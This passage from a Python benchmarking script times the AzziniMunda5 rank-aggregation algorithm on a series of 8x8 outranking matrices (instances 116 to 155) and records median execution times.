[0,1005,1044,985,997,979,991,1002], [996,0,1018,976,1022,983,1027,1010], [957,983,0,978,990,997,988,965], [1016,1025,1023,0,1016,1006,1025,942], [1004,979,1011,985,0,956,1010,925], [1022,1018,1004,995,1045,0,1048,973], [1010,974,1013,976,991,953,0,936], [999,991,1036,1059,1076,1028,1065,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 116, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1015,1013,981,978,1012,1006,984], [986,0,1005,1013,999,1027,995,1001], [988,996,0,982,993,999,996,986], [1020,988,1019,0,1019,1011,1015,1014], [1023,1002,1008,982,0,992,1007,1002], [989,974,1002,990,1009,0,1012,951], [995,1006,1005,986,994,989,0,941], [1017,1000,1015,987,999,1050,1060,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 117, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1027,1022,948,1076,956,967,991], [974,0,1013,938,1015,954,1021,934], [979,988,0,970,1030,955,998,950], [1053,1063,1031,0,1078,1041,1006,998], [925,986,971,923,0,989,968,903], [1045,1047,1046,960,1012,0,1004,1042], [1034,980,1003,995,1033,997,0,955], [1010,1067,1051,1003,1098,959,1046,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 118, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1181,944,1061,899,1103,1004,931], [820,0,1095,926,773,1011,1100,1205], [1057,906,0,833,753,1094,970,958], [940,1075,1168,0,1037,1312,1135,1282], [1102,1228,1248,964,0,1281,1259,972], [898,990,907,689,720,0,964,1076], [997,901,1031,866,742,1037,0,935], [1070,796,1043,719,1029,925,1066,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 119, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1030,1058,1058,1054,981,1059,1026], [971,0,1071,1040,1037,968,994,984], [943,930,0,992,1035,946,987,960], [943,961,1009,0,1021,938,957,946], [947,964,966,980,0,947,972,953], [1020,1033,1055,1063,1054,0,1038,993], [942,1007,1014,1044,1029,963,0,968], [975,1017,1041,1055,1048,1008,1033,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 120, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1025,1020,985,1053,1060,1017,1044], [976,0,1008,950,1010,963,938,1011], [981,993,0,1004,1009,1024,1008,1033], [1016,1051,997,0,1036,1007,995,1045], [948,991,992,965,0,1000,961,994], [941,1038,977,994,1001,0,954,996], [984,1063,993,1006,1040,1047,0,1042], [957,990,968,956,1007,1005,959,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 121, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,963,985,974,960,1045,976,960], [1038,0,988,970,987,989,964,1013], [1016,1013,0,963,953,1043,961,978], [1027,1031,1038,0,999,1024,1045,1015], [1041,1014,1048,1002,0,994,1099,1065], [956,1012,958,977,1007,0,979,984], [1025,1037,1040,956,902,1022,0,1045], [1041,988,1023,986,936,1017,956,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 122, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1023,1016,1005,975,997,1011,1009], [978,0,963,986,955,962,994,939], [985,1038,0,1042,1018,1000,1032,982], [996,1015,959,0,996,988,1013,969], [1026,1046,983,1005,0,1020,990,1017], [1004,1039,1001,1013,981,0,1034,978], [990,1007,969,988,1011,967,0,954], [992,1062,1019,1032,984,1023,1047,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 123, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,990,1020,1056,1002,903,973,984], [1011,0,1070,1067,1037,1003,997,1018], [981,931,0,997,951,913,911,894], [945,934,1004,0,981,938,961,967], [999,964,1050,1020,0,908,918,965], [1098,998,1088,1063,1093,0,1010,1076], [1028,1004,1090,1040,1083,991,0,1037], [1017,983,1107,1034,1036,925,964,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 124, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,943,980,1224,943,850,1004,957], [1058,0,1095,1080,812,972,1136,953], [1021,906,0,1142,1064,987,898,1035], [777,921,859,0,801,903,833,880], [1058,1189,937,1200,0,1117,1047,1101], [1151,1029,1014,1098,884,0,1110,995], [997,865,1103,1168,954,891,0,972], [1044,1048,966,1121,900,1006,1029,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 125, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1066,934,943,987,1039,1074,930], [935,0,838,816,840,958,829,898], [1067,1163,0,974,1032,1109,1065,1109], [1058,1185,1027,0,1003,1017,959,1016], [1014,1161,969,998,0,1025,1031,989], [962,1043,892,984,976,0,1061,965], [927,1172,936,1042,970,940,0,962], [1071,1103,892,985,1012,1036,1039,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 126, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1038,1004,991,1048,1012,1053,1047], [963,0,959,968,1021,971,949,923], [997,1042,0,971,1061,899,1041,975], [1010,1033,1030,0,1040,956,982,955], [953,980,940,961,0,953,937,942], [989,1030,1102,1045,1048,0,1038,985], [948,1052,960,1019,1064,963,0,975], [954,1078,1026,1046,1059,1016,1026,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 127, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,978,1004,1023,1035,968,977,978], [1023,0,1045,1050,1031,985,1020,1009], [997,956,0,1008,1023,1003,969,994], [978,951,993,0,991,973,952,990], [966,970,978,1010,0,963,980,1005], [1033,1016,998,1028,1038,0,1008,1020], [1024,981,1032,1049,1021,993,0,997], [1023,992,1007,1011,996,981,1004,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 128, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1063,1024,992,995,971,987,991], [938,0,988,1018,974,985,992,973], [977,1013,0,1016,975,1015,1046,977], [1009,983,985,0,1010,1000,1026,1009], [1006,1027,1026,991,0,1040,1039,1014], [1030,1016,986,1001,961,0,1044,993], [1014,1009,955,975,962,957,0,973], [1010,1028,1024,992,987,1008,1028,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 129, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,974,999,996,929,975,979,957], [1027,0,999,1028,1008,999,1026,1014], [1002,1002,0,1020,1020,996,1006,1013], [1005,973,981,0,987,968,1043,968], [1072,993,981,1014,0,1039,1006,1004], [1026,1002,1005,1033,962,0,1033,998], [1022,975,995,958,995,968,0,989], [1044,987,988,1033,997,1003,1012,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 130, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,990,1062,1011,1036,1045,1021,1019], [1011,0,1035,976,1036,985,986,1047], [939,966,0,935,1001,1013,1028,982], [990,1025,1066,0,1055,1036,984,1090], [965,965,1000,946,0,988,972,1015], [956,1016,988,965,1013,0,991,1061], [980,1015,973,1017,1029,1010,0,1017], [982,954,1019,911,986,940,984,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 131, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1020,967,1020,1002,1031,1022,1003], [981,0,996,1033,973,989,977,967], [1034,1005,0,1030,997,1040,1029,988], [981,968,971,0,977,974,993,1011], [999,1028,1004,1024,0,1012,1018,1030], [970,1012,961,1027,989,0,982,981], [979,1024,972,1008,983,1019,0,982], [998,1034,1013,990,971,1020,1019,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 132, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,979,1055,958,941,974,935,884], [1022,0,1023,943,889,923,987,926], [946,978,0,920,891,912,966,949], [1043,1058,1081,0,995,1030,1051,1006], [1060,1112,1110,1006,0,982,1019,1111], [1027,1078,1089,971,1019,0,1045,988], [1066,1014,1035,950,982,956,0,956], [1117,1075,1052,995,890,1013,1045,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 133, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1104,999,1032,1005,1002,937,1063], [897,0,987,1008,951,945,919,916], [1002,1014,0,1036,959,1009,1061,1045], [969,993,965,0,956,940,920,1045], [996,1050,1042,1045,0,998,1074,1006], [999,1056,992,1061,1003,0,936,1020], [1064,1082,940,1081,927,1065,0,1051], [938,1085,956,956,995,981,950,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 134, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1013,1035,1049,1013,1012,1070,991], [988,0,971,1023,1020,1010,1036,936], [966,1030,0,1027,1032,980,1041,949], [952,978,974,0,998,951,1032,966], [988,981,969,1003,0,991,1062,978], [989,991,1021,1050,1010,0,1050,1015], [931,965,960,969,939,951,0,912], [1010,1065,1052,1035,1023,986,1089,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 135, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1021,1025,1012,991,1011,1010,1018], [980,0,1011,987,988,968,968,998], [976,990,0,1000,998,983,981,982], [989,1014,1001,0,973,974,1001,1028], [1010,1013,1003,1028,0,979,1007,996], [990,1033,1018,1027,1022,0,1025,1006], [991,1033,1020,1000,994,976,0,991], [983,1003,1019,973,1005,995,1010,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 136, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,978,996,1039,1030,982,1016,1017], [1023,0,1053,1009,1037,1029,1028,985], [1005,948,0,1016,982,982,974,993], [962,992,985,0,1019,978,1010,994], [971,964,1019,982,0,1017,1050,1000], [1019,972,1019,1023,984,0,1066,1002], [985,973,1027,991,951,935,0,980], [984,1016,1008,1007,1001,999,1021,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 137, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1030,994,962,971,999,984,1045], [971,0,963,1018,975,994,983,967], [1007,1038,0,961,1043,1086,1028,1062], [1039,983,1040,0,1041,1002,1032,1016], [1030,1026,958,960,0,1014,1006,1037], [1002,1007,915,999,987,0,1072,1020], [1017,1018,973,969,995,929,0,1025], [956,1034,939,985,964,981,976,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 138, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,882,1019,985,971,1027,977,998], [1119,0,1073,1047,1005,1012,984,966], [982,928,0,939,981,1004,916,926], [1016,954,1062,0,1000,1072,1001,1042], [1030,996,1020,1001,0,1137,1050,957], [974,989,997,929,864,0,1029,921], [1024,1017,1085,1000,951,972,0,952], [1003,1035,1075,959,1044,1080,1049,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 139, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,991,1042,1000,938,960,938,994], [1010,0,1016,986,961,972,977,1015], [959,985,0,974,954,982,923,961], [1001,1015,1027,0,1008,1001,981,1020], [1063,1040,1047,993,0,983,1038,1005], [1041,1029,1019,1000,1018,0,962,996], [1063,1024,1078,1020,963,1039,0,1021], [1007,986,1040,981,996,1005,980,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 140, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,977,1000,1043,1044,1022,976,975], [1024,0,1025,1020,994,1001,989,1069], [1001,976,0,974,1017,994,983,1015], [958,981,1027,0,1027,1028,1004,1013], [957,1007,984,974,0,1051,999,1007], [979,1000,1007,973,950,0,993,1033], [1025,1012,1018,997,1002,1008,0,1081], [1026,932,986,988,994,968,920,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 141, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,976,982,987,950,982,987,1010], [1025,0,962,993,962,962,956,984], [1019,1039,0,1048,974,996,975,976], [1014,1008,953,0,933,932,941,986], [1051,1039,1027,1068,0,955,1047,1003], [1019,1039,1005,1069,1046,0,999,1031], [1014,1045,1026,1060,954,1002,0,1003], [991,1017,1025,1015,998,970,998,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 142, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1111,1044,866,1102,952,1006,947], [890,0,819,1007,879,1002,887,842], [957,1182,0,983,959,1057,922,1019], [1135,994,1018,0,937,1079,930,1037], [899,1122,1042,1064,0,976,992,1054], [1049,999,944,922,1025,0,996,1001], [995,1114,1079,1071,1009,1005,0,1109], [1054,1159,982,964,947,1000,892,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 143, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,990,983,1014,1001,975,973,1017], [1011,0,1013,969,972,992,993,972], [1018,988,0,1001,974,977,945,965], [987,1032,1000,0,979,1004,979,974], [1000,1029,1027,1022,0,1006,995,988], [1026,1009,1024,997,995,0,1005,992], [1028,1008,1056,1022,1006,996,0,1005], [984,1029,1036,1027,1013,1009,996,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 144, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1006,971,1011,1019,1001,1022,1028], [995,0,975,955,935,955,987,972], [1030,1026,0,1034,1047,1012,1026,983], [990,1046,967,0,1032,1021,1024,1034], [982,1066,954,969,0,1036,997,976], [1000,1046,989,980,965,0,1034,1051], [979,1014,975,977,1004,967,0,1023], [973,1029,1018,967,1025,950,978,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 145, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1039,1011,1031,977,1022,1029,1040], [962,0,969,965,981,1065,1004,1009], [990,1032,0,1018,975,1053,1006,1077], [970,1036,983,0,990,1018,984,1012], [1024,1020,1026,1011,0,996,1002,1030], [979,936,948,983,1005,0,991,968], [972,997,995,1017,999,1010,0,1035], [961,992,924,989,971,1033,966,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 146, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1023,1052,1001,1009,1019,1029,994], [978,0,1025,971,978,983,1021,978], [949,976,0,966,975,968,989,961], [1000,1030,1035,0,1028,1026,1056,1010], [992,1023,1026,973,0,1031,1006,1007], [982,1018,1033,975,970,0,993,982], [972,980,1012,945,995,1008,0,996], [1007,1023,1040,991,994,1019,1005,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 147, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1024,1012,821,1026,958,944,1104], [977,0,1048,970,1042,1036,1091,1119], [989,953,0,939,1005,937,910,1006], [1180,1031,1062,0,1016,1064,943,1108], [975,959,996,985,0,1015,962,1075], [1043,965,1064,937,986,0,1042,1186], [1057,910,1091,1058,1039,959,0,1142], [897,882,995,893,926,815,859,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 148, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1031,1006,980,1031,1052,1006,994], [970,0,982,977,981,1004,949,998], [995,1019,0,991,1012,1059,1019,998], [1021,1024,1010,0,1021,1053,990,997], [970,1020,989,980,0,1003,987,987], [949,997,942,948,998,0,963,1007], [995,1052,982,1011,1014,1038,0,1022], [1007,1003,1003,1004,1014,994,979,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 149, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1037,982,1038,1003,1044,1038,1041], [964,0,985,986,970,976,994,986], [1019,1016,0,1039,971,1013,1038,998], [963,1015,962,0,974,943,969,988], [998,1031,1030,1027,0,973,1025,1007], [957,1025,988,1058,1028,0,995,995], [963,1007,963,1032,976,1006,0,980], [960,1015,1003,1013,994,1006,1021,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 150, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1022,1000,996,999,985,1031,1003], [979,0,1004,988,999,971,979,1020], [1001,997,0,1024,959,1022,1033,963], [1005,1013,977,0,986,982,1026,964], [1002,1002,1042,1015,0,1005,1031,998], [1016,1030,979,1019,996,0,1045,968], [970,1022,968,975,970,956,0,947], [998,981,1038,1037,1003,1033,1054,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 151, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,966,987,985,999,964,1008,996], [1035,0,992,1011,1013,1039,1023,1008], [1014,1009,0,1007,1018,997,997,989], [1016,990,994,0,1015,975,1012,985], [1002,988,983,986,0,969,1030,970], [1037,962,1004,1026,1032,0,1041,1011], [993,978,1004,989,971,960,0,995], [1005,993,1012,1016,1031,990,1006,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 152, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1002,1058,1013,1049,1002,957,989], [999,0,1122,986,1043,993,1012,1028], [943,879,0,920,966,942,906,952], [988,1015,1081,0,1055,964,988,1010], [952,958,1035,946,0,934,942,975], [999,1008,1059,1037,1067,0,1061,1046], [1044,989,1095,1013,1059,940,0,1018], [1012,973,1049,991,1026,955,983,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 153, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1002,1011,1051,994,1002,1007,1008], [999,0,975,1015,967,1003,970,986], [990,1026,0,1008,973,990,1020,990], [950,986,993,0,1000,991,963,981], [1007,1034,1028,1001,0,1001,997,1001], [999,998,1011,1010,1000,0,988,995], [994,1031,981,1038,1004,1013,0,998], [993,1015,1011,1020,1000,1006,1003,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 154, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1186,1051,1065,1023,1129,998,1152], [815,0,878,913,883,915,951,1020], [950,1123,0,1062,1020,1006,914,1016], [936,1088,939,0,901,936,984,964], [978,1118,981,1100,0,958,972,1084], [872,1086,995,1065,1043,0,943,1132], [1003,1050,1087,1017,1029,1058,0,975], [849,981,985,1037,917,869,1026,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = 